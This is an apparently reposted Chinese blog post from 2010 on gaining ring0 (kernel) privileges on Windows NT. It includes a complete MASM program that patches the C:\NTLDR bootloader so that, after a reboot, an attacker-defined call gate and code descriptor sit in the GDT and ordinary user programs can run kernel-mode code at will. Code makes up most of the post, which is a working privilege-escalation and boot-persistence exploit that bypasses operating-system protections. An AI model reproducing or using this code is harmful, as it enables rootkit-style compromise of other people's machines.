让程序进入ring0级执行

在保护模式下,ring0有至高无上的权限,他一直是很多黑客程序员追求的目标,在NT平台上,MS对系统表格作了保护,不能在象win9x那样,去直接修改系统表格,但是还是有不少办法能够进入ring0的,例如,在国内,最早sinister利用编写驱动程序的方法进入ring0,这也是最通用的方法了,紧跟着WebCrazy又使用读写物理内存的方法来读写GDT所在的物理内存,在GDT上生成自己的调用门来随意进出ring0。后来由MGF提出一种更新的方法,这也就是我要介绍的方法,修改NTLDR。

为什么要修改NTLDR呢,因为windows在启动之时,需要装载GDT上的描述符,而NT的引导程序是NTLDR,那么也就是说描述符可能在NTLDR中,如果我们的假设成立,那么我们就能够在NTLDR中找到系统描述符,好,我们首先来做个实验,用UE打开NTLDR,搜索16进制数ffff 0000 009a cf00(这是GDT上的一个描述符,它的选择子为8h),结果我们搜到了,那么证明想法是对的,在向后看,发现还有不少描述符,哈哈,如果我们在搜索到的描述符区域中空的地方加入自己的调用门和自己的系统描述符,当系统重新启动的时候我们的调用门就会被操作系统装载到内存中,这样我们就有了我们需要的调用门,就可以利用这个调用门自由进出ring0了。这里可能有人要问为什么不用系统选择子08h所对应的描述符,而自己生成自己的选择子和描述符,这是因为我们的调用门所指向的代码一般都在用户区,MS会做检测,如果发现运行在选择子为8h的代码在0x80000000以下,就会认为是非法进入ring0,就会产生异常。下面请看代码
 
 
;修改ntldr添加调用门,运行任意ring0代码的例子
.386
.model        flat,stdcall
option        casemap:none
 
include        d:\masm32\include\windows.inc
include        d:\masm32\include\kernel32.inc
include        d:\masm32\include\user32.inc
 
includelib d:\masm32\lib\kernel32.lib
includelib d:\masm32\lib\user32.lib
 
.data
szFileName        db        'C:\NTLDR',0
dwAttrib                dd        0
hFile                                dd        0
hMap                                dd        0
pFile                                dd        0
dwFileSize        dd        0
dwC3Code                dd        0
GDTFlag                        dw 0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh        ;GDT中的第一个和第二个描述符
CallGate                 dw 0000,0108h,0ec00h,0000,0ffffh,0000,9a00h,00cfh        ;调用门和一个自己系统描述符
CallSel                        dd        0
                                                dw        103h ;调用门的选择子
.code
 
start:
        push        offset szFileName
        call        GetFileAttributes        ;得到文件属性
        
        mov        edx,eax
        inc        edx
        je        ERROR_GETFILEATTRIB        ;如果返回错误的话就直接退出
        
        mov        dwAttrib,eax                                                ;否则保存文件属性
        
        push        80h
        push        offset szFileName
        call        SetFileAttributes        ;设置文件属性为一般文件
        
        call        FindC3Code        ;在kernel32.dll中搜索ret指令
        
        push 0
        push 80h
        push 3
        push 0
        push 3
        push 0c0000000h                        
        push        offset szFileName
        call        CreateFileA        ;打开文件
        
        mov        edx,eax
        inc        edx
        je        ERROR_OPENFILE
        
        mov        hFile,eax
        
        push        0
        push        hFile
        call        GetFileSize
        
        mov        dwFileSize,eax        ;得到文件大小
        
        push 0
        push 0
        push 0
        push 4
        push 0
        push        hFile
        call        CreateFileMapping
        
        or        eax,eax
        je        ERROR_FILEMAP
        mov        hMap,eax
        
        push 0
        push 0
        push 0
        push 6
        push eax
        call        MapViewOfFile        ;文件映射到内存
        
        or        eax,eax
        je        ERROR_MAP
        
        mov        pFile,eax
        
        mov        edi,eax
        mov        esi,offset GDTFlag
        mov        ecx,dwFileSize
        
@@:        ;在NTLDR中搜索描述符
        inc edi
        push esi
        push edi
        push ecx
        mov ecx,10h
        repz cmpsb
        pop ecx
        pop edi
        pop esi
loopnz @B
 
        ;发现标志后,准备在GDT中搜索一个空间来存放调用门
        
        or        ecx,ecx
        je        ERROR_MAP         
        
        xor eax,eax
        mov ecx,80h
@@:
        sub edi,8
        push edi
        push ecx
        mov ecx,8
        repz scasb        ;再次确认位置
        pop ecx
        pop edi
        loopnz @B         
        
        or        ecx,ecx
        je        ERROR_MAP
        
        add edi,100h
        lea        esi,CallGate
        mov ecx,10h
        rep movsb ;写入调用门
        
        mov edx,dwC3Code
        mov word ptr [edi-16],dx
        shr edx,16
        mov word ptr [edi-10],dx        ;使调用门指向ret的地址
 
        
ERROR_MAP:
        push        pFile
        call        UnmapViewOfFile
        
ERROR_FILEMAP:
 
        push        hMap
        call        CloseHandle
        
ERROR_OPENFILE:        
        push        hFile
        call        CloseHandle
        
        push        dwAttrib
        push        offset szFileName
        call        SetFileAttributes        ;还原文件属性
        
ERROR_GETFILEATTRIB:
        push        0
        call        ExitProcess
 
 
 
FindC3Code:
        assume        fs:nothing
        mov eax,fs:[30h]    
        mov eax,[eax+0ch]
        mov esi,[eax+1ch] 
        lodsd                
        mov eax,[eax+08h]        ;eax->kernel32 base address        
        
        mov        edi,eax
        add        edi,1000h        ;从代码段开始搜索
        mov        ecx,20000h
        mov        al,0c3h;        搜索RET指令
        
        repnz        scasb
        
        dec        edi
        mov        dwC3Code,edi
        ret
        
end        start
 
 
这个程序修改NTLDR,在其中GDT的第一个描述符的偏移100h的地方写入自己的一个调用门和一个系统描述符,在重新启动以后,我们的调用门将被加载到GDT中,这样我们就可以自由进出ring0了,另外这个程序的调用门指向kernel32.dll中的一条ret指令,为什么要这么做呢?因为首先来看看使用调用门后cpu都做了那些事,如果有程序使用了调用门,CPU会保存所有的寄存器,其中包括EAX,EBX,ECX,EDX,ESP,CS,DS,ES,FS,SS,EIP等,在转向调用门时,我们先来看看堆栈的结构
EIP
Ring3的esp
….
看到了吧,如果我们在这里执行一条ret指令,就能跳向调用调用门的下一条指令,这样就转回了我们自己的程序中了。
posted on 2010-05-30 21:54  carekee  阅读(878)  评论(0编辑  收藏  举报